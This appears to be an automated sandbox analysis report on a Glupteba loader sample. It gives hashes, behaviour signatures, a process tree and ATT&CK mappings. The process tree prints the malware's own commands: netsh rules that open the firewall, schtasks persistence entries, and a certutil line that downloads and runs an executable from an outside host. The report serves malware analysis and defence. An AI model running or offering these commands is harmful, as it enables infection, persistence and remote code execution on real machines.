Overview

overview

10

Static

static

3

a7536f97d3...18.exe

windows7-x64

10

a7536f97d3...18.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    143s
  • max time network
    146s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    18-08-2024 16:11

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General

  • Target

    a7536f97d342afa27ed93a07286f0822_JaffaCakes118.exe

  • Size

    3.9MB

  • MD5

    a7536f97d342afa27ed93a07286f0822

  • SHA1

    954b90bedb1c8b2adcd9b9ae83f02834254334f5

  • SHA256

    be5a403330e4ff0bf352935e78082408774685a93bf07b587460cdf1f5d08ef8

  • SHA512

    7f1937e5f21d9411da79e179bac1361a27a8e28f34cb84209c09b5d62f1bc33a9acb9664e0696797bed396f3c29d976fc8362aec47625ff8a0961557e6e71eb9

  • SSDEEP

    98304:KWUCnRAbUG2kM3mOjV2249fYAFrmw8ehbXwKBw0D:9S2kIq3aAFrjVLB

Score
10/10
gluptebadiscoverydropperevasionloaderpersistenceprivilege_escalationrootkit

Malware Config

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

    loaderdropperglupteba
  • Glupteba payload 36 IoCs
  • Modifies Windows Firewall 2 TTPs 2 IoCs
    evasion
  • Executes dropped EXE 3 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Manipulates WinMonFS driver. 1 IoCs

    Roottkits write to WinMonFS to hide directories/files from being detected.

    rootkitevasion
  • Modifies boot configuration data using bcdedit 1 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Windows directory 2 IoCs
  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies system certificate store 2 TTPs 3 IoCs
    evasionspywaretrojan
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 43 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\a7536f97d342afa27ed93a07286f0822_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\a7536f97d342afa27ed93a07286f0822_JaffaCakes118.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:3444
    • C:\Users\Admin\AppData\Local\Temp\a7536f97d342afa27ed93a07286f0822_JaffaCakes118.exe
      "C:\Users\Admin\AppData\Local\Temp\a7536f97d342afa27ed93a07286f0822_JaffaCakes118.exe"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1452
      • C:\Users\Admin\AppData\Local\Temp\a7536f97d342afa27ed93a07286f0822_JaffaCakes118.exe
        "C:\Users\Admin\AppData\Local\Temp\a7536f97d342afa27ed93a07286f0822_JaffaCakes118.exe"
        3⤵
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:3740
        • C:\Users\Admin\AppData\Local\Temp\a7536f97d342afa27ed93a07286f0822_JaffaCakes118.exe
          "C:\Users\Admin\AppData\Local\Temp\a7536f97d342afa27ed93a07286f0822_JaffaCakes118.exe"
          4⤵
          • Adds Run key to start application
          • Checks for VirtualBox DLLs, possible anti-VM trick
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:1496
          • C:\Windows\system32\cmd.exe
            C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:4484
            • C:\Windows\system32\netsh.exe
              netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
              6⤵
              • Modifies Windows Firewall
              • Event Triggered Execution: Netsh Helper DLL
              PID:1092
          • C:\Windows\system32\cmd.exe
            C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\14dc02c53b72\14dc02c53b72\14dc02c53b72.exe" enable=yes"
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:2200
            • C:\Windows\system32\netsh.exe
              netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\14dc02c53b72\14dc02c53b72\14dc02c53b72.exe" enable=yes
              6⤵
              • Modifies Windows Firewall
              • Event Triggered Execution: Netsh Helper DLL
              PID:4108
          • C:\Windows\rss\csrss.exe
            C:\Windows\rss\csrss.exe ""
            5⤵
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:3564
            • C:\Windows\rss\csrss.exe
              C:\Windows\rss\csrss.exe ""
              6⤵
              • Executes dropped EXE
              • Manipulates WinMonFS driver.
              • System Location Discovery: System Language Discovery
              • Modifies data under HKEY_USERS
              • Modifies system certificate store
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:3596
              • C:\Windows\SYSTEM32\schtasks.exe
                schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
                7⤵
                • Scheduled Task/Job: Scheduled Task
                PID:1552
              • C:\Windows\SYSTEM32\schtasks.exe
                schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://biggames.online/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
                7⤵
                • Scheduled Task/Job: Scheduled Task
                PID:3128
              • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
                "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
                7⤵
                • Executes dropped EXE
                PID:4832
              • C:\Windows\system32\bcdedit.exe
                C:\Windows\Sysnative\bcdedit.exe /v
                7⤵
                • Modifies boot configuration data using bcdedit
                PID:4732

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

1
T1053

Scheduled Task

1
T1053.005

Persistence

Boot or Logon Autostart Execution

1
T1547

Registry Run Keys / Startup Folder

1
T1547.001

Create or Modify System Process

1
T1543

Windows Service

1
T1543.003

Event Triggered Execution

1
T1546

Netsh Helper DLL

1
T1546.007

Scheduled Task/Job

1
T1053

Scheduled Task

1
T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

1
T1547

Registry Run Keys / Startup Folder

1
T1547.001

Create or Modify System Process

1
T1543

Windows Service

1
T1543.003

Event Triggered Execution

1
T1546

Netsh Helper DLL

1
T1546.007

Scheduled Task/Job

1
T1053

Scheduled Task

1
T1053.005

Defense Evasion

Impair Defenses

1
T1562

Disable or Modify System Firewall

1
T1562.004

Modify Registry

2
T1112

Subvert Trust Controls

1
T1553

Install Root Certificate

1
T1553.004

Credential Access

Discovery

Query Registry

2
T1012

System Information Discovery

1
T1082

System Location Discovery

1
T1614

System Language Discovery

1
T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
    Filesize

    1.7MB

    MD5

    13aaafe14eb60d6a718230e82c671d57

    SHA1

    e039dd924d12f264521b8e689426fb7ca95a0a7b

    SHA256

    f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

    SHA512

    ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

    Download Submit

  • C:\Windows\rss\csrss.exe
    Filesize

    3.9MB

    MD5

    a7536f97d342afa27ed93a07286f0822

    SHA1

    954b90bedb1c8b2adcd9b9ae83f02834254334f5

    SHA256

    be5a403330e4ff0bf352935e78082408774685a93bf07b587460cdf1f5d08ef8

    SHA512

    7f1937e5f21d9411da79e179bac1361a27a8e28f34cb84209c09b5d62f1bc33a9acb9664e0696797bed396f3c29d976fc8362aec47625ff8a0961557e6e71eb9

    Download Submit

  • memory/1452-10-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/1452-11-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/1452-9-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/1452-7-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/1452-6-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/1452-3-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/1452-5-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/1452-8-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/1496-22-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/1496-24-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/1496-38-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/1496-23-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/1496-26-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/1496-27-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/3444-1-0x0000000002A40000-0x0000000002DF5000-memory.dmp

    Filesize

    3.7MB

    Download

  • memory/3444-2-0x0000000002E00000-0x00000000034F5000-memory.dmp

    Filesize

    7.0MB

    Download

  • memory/3596-56-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/3596-55-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/3596-44-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/3596-45-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/3596-46-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/3596-47-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/3596-48-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/3596-49-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/3596-50-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/3596-67-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/3596-53-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/3596-43-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/3596-66-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/3596-57-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/3596-59-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/3596-60-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/3596-61-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/3596-62-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/3596-63-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/3596-64-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/3596-65-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/3740-18-0x0000000000400000-0x0000000000C51000-memory.dmp

    Filesize

    8.3MB

    Download

  • memory/3740-25-0x0000000000400000-0x0000000000C51000-memory.dmp

    Filesize

    8.3MB

    Download